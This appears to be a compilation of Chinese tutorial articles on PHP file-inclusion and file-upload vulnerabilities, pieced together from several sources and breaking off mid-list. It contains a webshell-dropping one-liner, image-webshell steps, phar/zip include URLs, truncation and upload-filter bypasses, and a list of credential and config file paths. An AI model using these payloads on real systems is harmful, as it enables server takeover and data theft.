PHP文件包含漏洞详解
PHP文件包含漏洞详解
PHP文件包含漏洞详解(1)一、什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数:include(),require()和include_once(),require_once()Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
Require:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。
如果已经执行一遍那么就不重复执行了。
Require_once:这个函数跟require的区别跟上面我所讲的include和include_once是一样的。
所以我就不重复了。
php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。
Php4存在远程&本地,php5仅存在本地包含。
二、为什么要包含文件?程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。
在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}很正常的一段PHP代码,它是怎么运作的呢?上面这段代码的使用格式可能是这样的:/m4r10/php/index.php?page=main.php或者/m4r10/php/index.php?page=downloads.php结合上面代码,简单说下怎么运作的:1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
php文件包含伪协议文件上传漏洞相关说明
php⽂件包含伪协议⽂件上传漏洞相关说明1.上传⽂件过滤了后缀名和MIME类型,$_FILES['pic']['type']是由浏览器传输的⽂件类型决定,但是mime_content_type()是由php 内置⽅法判断⽂件类型;⽀持⽂件类型为application/zip,⽀持上传zip压缩⽂件,后缀名还是要改成.jpg或.gif,上传后将该名为随机数字(1499394959).jpg格式$name1=substr($name,-4);if(($name1!==".gif") and ($name1!==".jpg")){echo "<script language=javascript>alert('上传照⽚只能是JPG或者GIF!');history.go(-1)</script>";exit;}if(mime_content_type($tmpName)!=="image/jpeg"&&mime_content_type($tmpName)!=="image/gif"&&mime_content_type($tmpName)!=="application/zip") {echo mime_content_type($tmpName);echo "<script language=javascript>alert('上传照⽚只能是JPG或者GIF!');history.go(-1)</script>";exit;}2.任意⽂件包含$f = $_GET['f'];include_once('sys/config.php');include($f);利⽤zip或phar伪协议读取压缩包中的⽂件/about.php?f=phar://./images/1499394959.jpg/1.php/about.php?f=zip://./images/1499394959.jpg%231.php上传webshell完成扩展:php伪协议:file:// — 访问本地⽂件系统http:// — 访问 HTTP(s) ⽹址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输⼊/输出流(I/O streams)zlib:// — 压缩流data:// — 数据(RFC 2397)glob:// — 查找匹配的⽂件路径模式phar:// — PHP 归档ssh2:// — Secure Shell 2rar:// — RARogg:// — ⾳频流expect:// — 处理交互式的流。
PHP漏洞原理范文
PHP漏洞原理范文PHP是一种通用的开源脚本语言,被广泛用于服务器端网页开发。
然而,由于PHP的弱类型和灵活的特性,它也面临着一些安全风险和漏洞。
本文将介绍一些常见的PHP漏洞原理。
1.跨站脚本攻击(XSS)XSS攻击是最常见的PHP漏洞之一、它的原理是攻击者向网站输入恶意代码,使其被插入到页面内容中。
当其他用户访问包含恶意代码的页面时,他们的浏览器会执行该代码,并可能导致盗取用户敏感信息、篡改页面内容等安全问题。
XSS攻击通常通过以下方式实现:-反射型XSS:攻击者将恶意代码作为参数传递给网站,然后网站将该参数包含到响应中,并由用户的浏览器执行代码。
-存储型XSS:攻击者将恶意代码存储在网站的数据库中,并在用户访问特定页面时将其执行。
为了防止XSS攻击,可以对用户输入进行过滤和转义,以确保任何输入的内容都不会被执行。
2.SQL注入SQL注入是另一个常见的PHP漏洞,它允许攻击者通过构造恶意的SQL查询来执行未经授权的操作。
原理是攻击者通过将恶意的SQL代码插入到用户提供的输入中,然后将其发送到服务器执行。
攻击者可以利用SQL注入漏洞执行以下操作:-删除或修改数据库中的数据。
-暴露敏感数据。
-绕过身份验证和授权。
为了防止SQL注入,可以使用预编译查询、参数化查询等安全措施,以确保用户输入不会被解释为可执行的SQL代码。
3.文件包含漏洞文件包含漏洞是由于对用户提供的文件名或路径未进行适当验证而产生的。
攻击者可以通过构造恶意的文件名或路径来访问并执行服务器上的敏感文件,从而获取敏感信息或执行恶意代码。
为了防止文件包含漏洞,可以对用户提供的文件名或路径进行验证和过滤,只允许访问可信的文件。
4.代码注入漏洞代码注入漏洞是指攻击者能够向服务器注入并执行任意代码。
这可能导致整个服务器被控制,攻击者可以执行任意操作。
代码注入漏洞通常发生在动态构建代码或执行动态代码的情况下,例如 eval( 函数或反序列化操作。
文件上传漏洞详解
⽂件上传漏洞详解0x01 上传漏洞定义⽂件上传漏洞是指⽤户上传了⼀个可执⾏的脚本⽂件,并通过此脚本⽂件获得了执⾏服务器端命令的能⼒。
这种攻击⽅式是最为直接和有效的,“⽂件上传”本⾝没有问题,有问题的是⽂件上传后,服务器怎么处理、解释⽂件。
如果服务器的处理逻辑做的不够安全,则会导致严重的后果.0x02 上传漏洞危害1.上传⽂件是Web脚本语⾔,服务器的Web容器解释并执⾏了⽤户上传的脚本,导致代码执⾏。
2.上传⽂件是病毒或者⽊马时,主要⽤于诱骗⽤户或者管理员下载执⾏或者直接⾃动运⾏;3.上传⽂件是Flash的策略⽂件crossdomain.xml,⿊客⽤以控制Flash在该域下的⾏为(其他通过类似⽅式控制策略⽂件的情况类似);4.上传⽂件是病毒、⽊马⽂件,⿊客⽤以诱骗⽤户或者管理员下载执⾏。
5.上传⽂件是钓鱼图⽚或为包含了脚本的图⽚,在某些版本的浏览器中会被作为脚本执⾏,被⽤于钓鱼和欺诈。
除此之外,还有⼀些不常见的利⽤⽅法,⽐如将上传⽂件作为⼀个⼊⼝,溢出服务器的后台处理程序,如图⽚解析模块;或者上传⼀个合法的⽂本⽂件,其内容包含了PHP脚本,再通过"本地⽂件包含漏洞(Local File Include)"执⾏此脚本;等等。
0x03 上传漏洞满⾜条件⾸先,上传的⽂件能够被Web容器解释执⾏。
所以⽂件上传后所在的⽬录要是Web容器所覆盖到的路径。
其次,⽤户能够从Web上访问这个⽂件。
如果⽂件上传了,但⽤户⽆法通过Web访问,或者⽆法得到Web容器解释这个脚本,那么也不能称之为漏洞。
最后,⽤户上传的⽂件若被安全检查、格式化、图⽚压缩等功能改变了内容,则也可能导致攻击不成功。
0x04 上传漏洞产⽣的原因⼀些web应⽤程序中允许上传图⽚,⽂本或者其他资源到指定的位置,⽂件上传漏洞就是利⽤这些可以上传的地⽅将恶意代码植⼊到服务器中,再通过url去访问以执⾏代码.造成⽂件上传漏洞的原因是:1.服务器配置不当2.开源编辑器上传漏洞3.本地⽂件上传限制被绕过4.过滤不严或被绕过5.⽂件解析漏洞导致⽂件执⾏6.⽂件路径截断0x05 上传漏洞的原理⼤部分的⽹站和应⽤系统都有上传功能,⼀些⽂件上传功能实现代码没有严格限制⽤户上传的⽂件后缀以及⽂件类型,导致允许攻击者向某个可通过Web访问的⽬录上传任意PHP⽂件,并能够将这些⽂件传递给PHP解释器,就可以在远程服务器上执⾏任意PHP脚本。
php安全攻防利用文件上传漏洞与绕过技巧详解
php安全攻防利⽤⽂件上传漏洞与绕过技巧详解⽬录前⾔⽂件上传漏洞的⼀些场景场景⼀:前端js代码⽩名单判断.jpg|.png|.gif后缀场景⼆:后端PHP代码检查Content-type字段场景三:代码⿊名单判断.asp|.aspx|.php|.jsp后缀场景四:代码扩⼤⿊名单判断绕过⽅式——htaccsess:绕过⽅式——⼤⼩写绕过:场景五:⼀些复合判断空格、点绕过(windows)::$DATA绕过(windows)双写绕过%00截断%0a绕过图⽚马绕过⼆次渲染绕过条件竞争/.绕过前⾔⽂件上传漏洞⼤多出现在可以进⾏⽂件上传的地⽅,如⽤户头像上传,⽂档上传处等。
该漏洞是⼀个危害⼗分⼤的漏洞,通过⽂件上传,攻击者可以上传webshell并进⾏getshell操作,从⽽获得系统shell,可执⾏任意命令。
也为后续⼤型⽊马的上传,特权提升提供了⼀个良好的基础。
⽂件上传漏洞的⼀些场景接下来针对⽂件上传漏洞的⼀些waf过滤的场景进⾏说明并进⾏绕过和利⽤。
场景⼀:前端js代码⽩名单判断.jpg|.png|.gif后缀在该场景下,防御的姿势是通过js代码对上传的⽂件后缀进⾏判断,如果不是.jpg|.png|.gif这三个后缀的⽂件则不允许上传⾄后台绕过⽅式:将带有⼀句话⽊马的⽂件后缀名改为xxx.jpg|png|gif,在上传处通过BurpSuite进⾏包拦截并改包,将⽂件后缀名改为php|jsp等脚本的后缀。
上传成功后访问该⽂件的路径即可getshell。
场景⼆:后端PHP代码检查Content-type字段在该场景下,防御的姿势是通过js代码对上传⽂件请求的Content-type字段进⾏检查,如果不是image/jpeg则不允许上传⾄后台绕过⽅式:将上传⼀句话⽊马⽂件的request包进⾏拦截,添加或修改Content-type字段为image/jpeg场景三:代码⿊名单判断.asp|.aspx|.php|.jsp后缀在该场景下,防御姿势是通过后台代码对上传的⽂件后缀进⾏判断,如果是.asp|.aspx|.php|.jsp这四个后缀的⽂件则不允许上传绕过⽅式:当apache的配置⽂件httpd.conf中存在如下配置时:AddType application/x-httpd-php .php .phtml .phps .php5 .pht说明可以通过上传.phtml|.phps|.php5|.pht这些后缀名的⽂件,且他们都会被解析称后缀为.php的⽂件。
文件包含漏洞详解
⽂件包含漏洞详解1、⽂件包含漏洞简介 ⽂件包含漏洞是“代码注⼊”的⼀种,其原理就是注⼊⼀段⽤户能控制的脚本或者代码,并让服务器执⾏。
2、常见的⽂件包含的函数 PHP:include(),include_once,require(),require_once(),fopen(),readfile()... JSP/Servlet:ava.io.File(),java.io.FileReader()... ASP:include file,inclede virtual...3、⽂件包含漏洞分类 本地⽂件包含:包含⽹站服务器上的⽂件 远程⽂件包含:包含别的(⾃⼰)服务器上的⽂件4、演⽰准备⼀张 jpg格式的图⽚,不能太⼤,保存为 1.jpg新建⼀个⽂本⽂档,写⼊<?fputs(fopen("shell20.php","w"),'<?php @eval($_POST[pass]);?>')?>,保存为 2.txt使⽤cmd制作⼀个图⽚马:copy 1.jpg/b + 2.php/a 3.jpg【本地⽂件包含】利⽤⽂件上传漏洞,把⽂件 3.jpg 上传到服务器使⽤⽂件包含漏洞,执⾏ 3.jpg(包含的图⽚不能太⼤)会⽣成⼀个 shell20.php 的⼀句话⽊马⽂件,使⽤蚁剑进⾏连接【远程⽂件包含】在⾃⼰的服务器上写⼀个图⽚马,然后⽤⽬标⽹站的⽂件包含漏洞包含⾃⼰服务器上的图⽚马然后和本地⽂件包含⼀样,在⽬标服务器内⽣成⼀句话⽊马,然后使⽤蚁剑进⾏连接,拿下服务器。
5、PHP 伪协议【file:// 协议】简介:file:// ⽤于访问本地⽂件系统,在CTF中通常⽤来读取本地⽂件的且不受allow_url_fopen与allow_url_include的影响⽤法:file:// [⽂件的绝对路径和⽂件名]php.ini:file:// 协议在双off的情况下也可以正常使⽤;allow_url_fopen :off/onallow_url_include:off/on简介:php:// 访问各个输⼊/输出流(I/O streams),在CTF中经常使⽤的是php://filter和php://input,php://filter⽤于读取源码,php://input⽤于执⾏php代码。
文件包含漏洞的原理
文件包含漏洞的原理
文件包含漏洞是一种安全漏洞,存在于Web应用程序中,其中可能会使用用户提供的输入作为文件的路径或名称。
攻击者利用文件包含漏洞的原理,通过构造恶意的请求,将恶意文件包含到应用程序的执行环境中,从而能够执行任意的代码。
文件包含漏洞的原理主要基于以下两个方面:
1. 动态文件包含:Web应用程序通常会根据用户提供的输入动态地包含文件。
这个过程如果没有适当的验证和过滤,攻击者可以通过构造恶意的输入来包含任意文件。
例如,攻击者可以通过将”../”(或其它类似的相对路径)添加到用户输入中,来访问应用程序目录之外的文件。
2. 代码执行:当恶意文件被包含到应用程序执行环境中时,攻击者可以控制并利用该环境来执行任意的代码。
这可能导致服务器被入侵、敏感信息被窃取、系统被破坏等后果。
攻击者可以通过包含一个远程恶意文件的URL,或者上传包含恶意代码的文件,来实现代码执行。
总结起来,文件包含漏洞的原理是由于未对用户输入进行适当的验证和过滤,导致攻击者能够构造恶意的输入,将恶意文件包含到应用程序的执行环境中,并执行任意的代码。
为了防止文件包含漏洞,开发人员应该对用户输入进行过滤和验证,以确保输入的安全性。
文件读取漏洞总结
文件读取漏洞总结概述文件读取漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,它可能导致攻击者能够读取目标系统上的敏感文件或系统文件。
这种漏洞通常发生在没有正确过滤用户输入的情况下,攻击者能够通过构造特定的输入来实现任意文件读取。
在本文档中,我们将探讨文件读取漏洞的原理、危害及防范措施。
原理文件读取漏洞的原理在于应用程序没有对用户输入进行充分的校验和过滤。
攻击者可以通过传递恶意的用户输入,构造特定的请求来获取目标系统上的任意文件。
常见的文件读取漏洞类型包括:- 本地文件包含(Local File Inclusion,LFI):攻击者通过构造含有相对路径或绝对路径的用户输入,让应用程序读取它所不应访问的本地文件。
- 远程文件包含(Remote File Inclusion,RFI):攻击者通过向目标系统发送恶意链接或请求,远程加载并执行恶意文件。
这种漏洞还可能导致远程代码执行(Remote Code Execution,RCE)漏洞的发生。
危害文件读取漏洞可能导致以下危害: 1. 盗取敏感信息:攻击者可以读取包含敏感数据的文件,如配置文件、数据库凭据等,从而获取关键信息。
2. 文件泄露:攻击者可以读取系统文件或日志文件,了解系统的架构、版本信息等,从而为下一步攻击做准备。
3. 远程执行代码:当应用程序存在远程文件包含漏洞时,攻击者可以加载并执行恶意文件,进而控制服务器执行任意命令。
由于文件读取漏洞的危害性较大,攻击者可能通过这种漏洞发起更高级的攻击,如拒绝服务攻击、命令注入等。
防范措施以下是一些常见的防范措施,用于预防文件读取漏洞的发生: 1. 输入验证与过滤:对用户输入进行严格的验证和过滤,防止恶意文件路径或参数传递给应用程序。
2. 使用白名单:只有在白名单中的文件允许被应用程序读取,其他文件一律禁止访问。
3. 限制访问权限:确保应用程序只能访问必要的系统文件和目录,尽量不要给与过高的权限。
PHP开发中常见的安全漏洞及其解决方法
PHP开发中常见的安全漏洞及其解决方法PHP是一种广泛使用的开源脚本语言,是用于Web开发的主要语言之一。
虽然PHP为开发人员提供了快速的开发和实施Web应用程序的能力,但是它也有一些安全漏洞。
本文将介绍PHP开发中常见的安全漏洞及处理方法。
1. SQL注入SQL注入是最常见的安全威胁之一,攻击者可以通过输入恶意SQL语句,篡改数据库中的数据或者访问敏感数据。
防止SQL注入的方法有:1.1 绑定参数使用绑定参数的方法可以防止SQL注入。
绑定参数是一种将变量的值传递到MySQL查询的技术。
这种查询必须在使用设置的数据类型设定的预定义参数的情况下发生。
变量不在SQL查询中拼接,因此数据库只解释绑定参数中的字符串,这将绕过SQL注入攻击。
1.2 输入验证输入验证是验证和调整用户提交的表单数据以防止攻击的一种验证机制。
验证数据类型、数据格式和数据长度等各个方面,是最好的防御措施。
1.3 使用安全密码安全密码是防止用户账户被黑客入侵的另一个有效方法。
最佳实践包括选用长密码、不使用常用密码、使用符号和数字、以及定期更改密码等。
2. 跨站脚本攻击跨站脚本攻击(XSS)是指攻击者利用脚本注入Web站点中可执行的代码。
通过向漏洞Web页面注入 JavaScript、HTML 或其他客户端脚本的方式,黑客可以利用 Web 浏览器内的漏洞,实现对数据的窃取、篡改或运行任意代码的攻击。
防止跨站脚本攻击的方法有:2.1 过滤用户输入输入验证可以防止跨站点脚本攻击。
输入验证可以确保数据仅包含所需的内容,并于传递给应用程序之前对数据进行内部过滤。
过滤可以针对内容,如数字、字母、符号,以及特定的编码格式。
此方法可以确保任何用户提供的数据都是安全的。
2.2 转义特殊字符特殊字符是指那些有特殊含义、需要特殊对待或无法识别的字符。
例如“<”、“>”、“&”、“'”、“`”、’"’等字符。
在文本中插入特殊字符时,要使用预定义或自定义的字符转义序列。
php include函数漏洞利用方法
php include函数漏洞利用方法1.在使用include函数时,用户输入未经过滤可能会导致代码执行漏洞。
When using the include function, user input that is not filtered may result in code execution vulnerabilities.2.攻击者可以利用include函数漏洞来执行恶意代码,危害服务器安全。
Attackers can exploit the include function vulnerabilityto execute malicious code, compromising server security.3.使用include函数时,应当对用户输入进行严格的过滤和验证。
When using the include function, strict filtering and validation of user input should be applied.4.程序员应该避免在include函数中使用动态变量,以免产生安全隐患。
Programmers should avoid using dynamic variables in the include function to avoid security risks.5. include函数漏洞可能导致敏感信息泄露,对网站造成严重损失。
Include function vulnerabilities may lead to sensitive information leaks, causing serious damage to the website.6.经常对系统进行安全审计,及时修复include函数漏洞,可降低被攻击风险。
Regular security audits of the system and timely fixing of include function vulnerabilities can reduce the risk of being attacked.7.在编写代码时,应当遵循最小权限原则来限制include函数的调用范围。
php漏洞全解
PHP网页的安全性问题针对PHP的网站主要存在下面几种攻击方式:1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script Insertion)4.跨网站脚本攻击(Cross Site Scripting, XSS)5.SQL注入攻击(SQL injection)6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)7.Session 会话劫持(Session Hijacking)8.Session 固定攻击(Session Fixation)9.HTTP响应拆分攻击(HTTP Response Splitting)10.文件上传漏洞(File Upload Attack)11.目录穿越漏洞(Directory Traversal)12.远程文件包含攻击(Remote Inclusion)13.动态函数注入攻击(Dynamic Variable Evaluation)14.URL攻击(URL attack)15.表单提交欺骗攻击(Spoofed Form Submissions)16.HTTP请求欺骗攻击(Spoofed HTTP Requests)几个重要的php.ini选项Register Globalsphp>=4.2.0,php.ini的register_globals选项的默认值预设为Off,当register_globals的设定为On时,程序可以接收来自服务器的各种环境变量,包括表单提交的变量,而且由于PHP不必事先初始化变量的值,从而导致很大的安全隐患.例1://check_admin()用于检查当前用户权限,如果是admin设置$is_admin变量为true,然后下面判断此变量是否为true,然后执行管理的一些操作//ex1.php<?phpif (check_admin()){$is_admin = true;}if ($is_admin){do_something();}?>这一段代码没有将$is_admin事先初始化为Flase,如果register_globals为On,那么我们直接提交 /ex1.php?is_admin=true,就可以绕过check_admin()的验证例2://ex2.php<?phpif (isset($_SESSION["username"])){do_something();}else{echo "您尚未登录!";}?>当register_globals=On时,我们提交/ex2.php?_SESSION[username]=dodo,就具有了此用户的权限所以不管register_globals为什么,我们都要记住,对于任何传输的数据要经过仔细验证,变量要初始化safe_mode安全模式,PHP用来限制文档的存取.限制环境变量的存取,控制外部程序的执行.启用安全模式必须设置php.ini中的safe_mode = On1.限制文件存取safe_mode_include_dir = "/path1:/path2:/path3"不同的文件夹用冒号隔开2.限制环境变量的存取safe_mode_allowed_env_vars = string指定PHP程序可以改变的环境变量的前缀,如:safe_mode_allowed_env_vars = PHP_ ,当这个选项的值为空时,那么php可以改变任何环境变量safe_mode_protected_env_vars = string用来指定php程序不可改变的环境变量的前缀3.限制外部程序的执行safe_mode_exec_dir = string此选项指定的文件夹路径影响system.exec.popen.passthru,不影响shell_exec和"` `".disable_functions = string不同的函数名称用逗号隔开,此选项不受安全模式影响magic quotes用来让php程序的输入信息自动转义,所有的单引号("'"),双引号("""),反斜杠("\")和空字符(NULL),都自动被加上反斜杠进行转义magic_quotes_gpc = On 用来设置magic quotes 为On,它会影响HTTP请求的数据(GET.POST.Cookies)程序员也可以使用addslashes来转义提交的HTTP请求数据,或者用stripslashes来删除转义命令注入攻击PHP中可以使用下列5个函数来执行外部的应用程序或函数system.exec.passthru.shell_exec.``(与shell_exec功能相同)函数原型string system(string command, int &return_var)command 要执行的命令return_var 存放执行命令的执行后的状态值string exec (string command, array &output, int &return_var) command 要执行的命令output 获得执行命令输出的每一行字符串return_var 存放执行命令后的状态值void passthru (string command, int &return_var)command 要执行的命令return_var 存放执行命令后的状态值string shell_exec (string command)command 要执行的命令漏洞实例例1://ex1.php<?php$dir = $_GET["dir"];if (isset($dir)){echo "<pre>";system("ls -al ".$dir);echo "</pre>";}?>我们提交/ex1.php?dir=| cat /etc/passwd提交以后,命令变成了 system("ls -al | cat /etc/passwd");eval注入攻击eval函数将输入的字符串参数当作PHP程序代码来执行函数原型:mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候//ex2.php<?php$var = "var";if (isset($_GET["arg"])){$arg = $_GET["arg"];eval("\$var = $arg;");echo "\$var =".$var;}?>当我们提交 /ex2.php?arg=phpinfo();漏洞就产生了 动态函数<?phpfunc A(){dosomething();}func B(){dosomething();}if (isset($_GET["func"])){$myfunc = $_GET["func"];echo $myfunc();}?>程序员原意是想动态调用A和B函数,那我们提交/ex.php?func=phpinfo 漏洞产生防范方法1.尽量不要执行外部命令2.使用自定义函数或函数库来替代外部命令的功能3.使用escapeshellarg函数来处理命令参数4.使用safe_mode_exec_dir指定可执行文件的路径esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号"'",替换成"\'",双引号""",替换成"\"",分号";"替换成"\;"用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内safe_mode = Onsafe_mode_exec_di r= /usr/local/php/bin/客户端脚本植入客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单.图片.动画或超链接文字等对象内.当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击.可以被用作脚本植入的HTML标签一般包括以下几种:1.<script>标签标记的javascript和vbscript等页面脚本程序.在<script>标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径2.<object>标签标记的对象.这些对象是java applet.多媒体文件和ActiveX控件等.通常在data属性内指定对象的URL路径3.<embed>标签标记的对象.这些对象是多媒体文件,例如:swf文件.通常在src 属性内指定对象的URL路径4.<applet>标签标记的对象.这些对象是java applet,通常在codebase属性内指定对象的URL路径5.<form>标签标记的对象.通常在action属性内指定要处理表单数据的web应用程序的URL路径客户端脚本植入的攻击步骤1.攻击者注册普通用户后登陆网站2.打开留言页面,插入攻击的js代码3.其他用户登录网站(包括管理员),浏览此留言的内容4.隐藏在留言内容中的js代码被执行,攻击成功实例数据库Create TABLE `postmessage` (`id` int(11) NOT NULL auto_increment,`subject` varchar(60) NOT NULL default '',`name` varchar(40) NOT NULL default '',`email` varchar(25) NOT NULL default '',`question` mediumtext NOT NULL,`postdate` datetime NOT NULL default '0000-00-00 00:00:00',PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;//add.php 插入留言//list.php 留言列表//show.php 显示留言浏览此留言的时候会执行js脚本插入 <script>while(1){windows.open();}</script> 无限弹框插入<script>location.href="";</script> 跳转钓鱼页面或者使用其他自行构造的js代码进行攻击防范的方法一般使用htmlspecialchars函数来将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串quote_style 可选,值可为ENT_COMPAT ENT_QUOTES ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号.ENT_QUOTES,表示双引号和单引号都要转换.ENT_NOQUOTES,表示双引号和单引号都不转换charset 可选,表示使用的字符集函数会将下列特殊字符转换成html编码:& ----> &" ----> "' ----> '< ----> <> ----> >把show.php的第98行改成<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?> 然后再查看插入js的漏洞页面xss跨站脚本攻击XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限.跨站脚本攻击的一般步骤:1.攻击者以某种方式发送xss的http链接给目标用户2.目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接3.网站执行了此xss攻击脚本4.目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息5.攻击者使用目标用户的信息登录网站,完成攻击当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似/search.php?key=<script>document.location='/getcookie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户cookies值防范方法:利用htmlspecialchars函数将特殊字符转换成HTML编码函数原型string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。
文件包含漏洞的利用及防御方案
文件包含漏洞的利用及防御方案作者美创科技安全实验室01、漏洞介绍文件包含漏洞是代码注入的一种。
其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含Fileinclusion。
文件包含可能会出现在jsp、php、asp等语言中。
服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
常见的文件包含的函数如下:PHP:include()、include_once()、require()、require_once()、fopen()、readfile()JSP/Servlet:ava.io.file()、java.io.filereader()ASP:include file、include virtual02、文件包含漏洞的分类文件包含可以分为本地文件包含和远程文件包含两种。
顾名思义,本地文件包含就是通过URL将服务器本地的其他文件include进来。
远程文件包含就是将远程服务器的文件include进来。
最主要的是,包含进来的文件都以当前脚本文件解析,比如,当前测试系统是Apache加php环境,那么被include进来的文件,不管是什么类型,比如说图片,文本文档,这些文件被包含以后,都会被当做php脚本来解析。
03、文件包含漏洞的危害①执行任意代码②读取文件源码或敏感信息。
③包含恶意文件控制网站,甚至控制服务器。
04、文件包含漏洞漏洞复现利用DVWA靶场进行CSRF漏洞演练:1.Low Security Level查看源码:服务器获取page的值,没有进行任何过滤。
因此直接读取C:\Users\dell\Desktop\1.txt文件。
若文件中存在php代码,<?php phpinfo();?>,则会执行php代码并返回代码执行的结果。
还可以进行远程文件包含,如下:2.Medium Security Level查看源码:Medium等级的代码将'http://','https://','../','..\'都替换为空,防御了简单的远程和本地包含。
文件包含漏洞
⽂件包含漏洞今天学习了⼀波⽂件包含漏洞介绍服务器执⾏PHP⽂件时,可以通过⽂件包含函数加载另⼀个⽂件中的PHP代码,并且当PHP来执⾏,这会为开发者节省⼤量的时间。
这意味着您可以创建供所有⽹页引⽤的标准页眉或菜单⽂件。
当页眉需要更新时,您只更新⼀个包含⽂件就可以了,或者当您向⽹站添加⼀张新页⾯时,仅仅需要修改⼀下菜单⽂件(⽽不是更新所有⽹页中的链接)。
php⽂件包含漏洞PHP中的⽂件包含分为本地包含与远程包含,导致⽂件包含的函数如下:include()include_once()require()require_once()fopen()readfile()…本地包含漏洞(LFI)新建⼀个phpinfo.txt,然后新建⼀个shell.php,写⼊:1 <?php2 include("phpinfo.txt");3 ?> 访问shell.php会输出phpinfo页⾯内容,⽆论将扩展名改为什么,都将以php代码执⾏。
如果⽂件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。
有限制本地⽂件包含漏洞绕过%00截断条件:magic_quotes_gpc = Off php版本<5.3.4测试代码:<?php$filename = $_GET['filename'];include($filename . ".html");>测试结果:/FI/FI.php?filename=../../../../../../../boot.ini%00路径长度截断条件:windows OS,点号需要长于256;linux OS 长于4096Windows下⽬录最⼤长度为256字节,超出的部分会被丢弃;Linux下⽬录最⼤长度为4096字节,超出的部分会被丢弃。
测试代码:1 <?php2$filename = $_GET['filename'];3include($filename . ".html");4 ?>EXP:1 /FI/FI.php?filename=test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././点号截断条件:windows OS,点号需要长于256测试代码:1 <?php2$filename = $_GET['filename'];3include($filename . ".html");4 ?>EXP:/FI/FI.phpfilename=test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................远程包含漏洞前提:需要开启allow_url_fopen,默认关闭。
文件包含漏洞
⽂件包含漏洞⽂件包含漏洞原理:⽂件包含漏洞是渗透测试过程中⽤的⽐较多的⼀个漏洞,主要⽤来绕过上传⽊马⽂件。
程序开发⼈员通常会把可重复使⽤的函数写到单个⽂件中,在使⽤某种函数时,直接调⽤此⽂件,⽽⽆需再次编写,这种调⽤⽂件的过程⼀般称为包含。
PHP包含:PHP中⽂件包含函数有以下四种:require():函数出现错误的时候,会直接报错并退出程序的执⾏require_once():同require(),区别在于重复调⽤同⼀⽂件时,程序只调⽤⼀次include():在包含的过程中如果出现错误,会抛出警告,程序继续正常运⾏include_once():同include(),区别在于重复调⽤同⼀⽂件时,程序只调⽤⼀次漏洞产⽣原因:⽂件包含函数加载的参数没有经过过滤或者严格的定义,可以被⽤户控制,包含其他恶意⽂件,导致了⾮预期的代码。
⽰例代码<?php$filename=$_GET['filename'];include($filename);>$_GET['filename']参数开发者没有经过严格的过滤,直接带⼊了include的函数,攻击者可以修改$_GET['filename']的值,执⾏⾮预期的操作。
常见的敏感信息路径:windows系统c:\boot.ini //查看系统版本c:\windows\system32\inetsrv\MetaBase.xml //IIs配置⽂件c:\windows\repair\sam //存储windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini //Mysql配置c:\ProgramFiles\mysql\data\mysql\user.MYD MySQL root密码c:\windows\php.ini //php配置信息Linux/Unix系统/etc/password //账户信息/etc/shadow //账户密码⽂件/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置⽂件/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟⽹站配置/usr/local/app/php5/lib/php.ini //PHP相关配置/etc/httpd/conf/httpd.conf //Apache配置⽂件/etc/my.conf 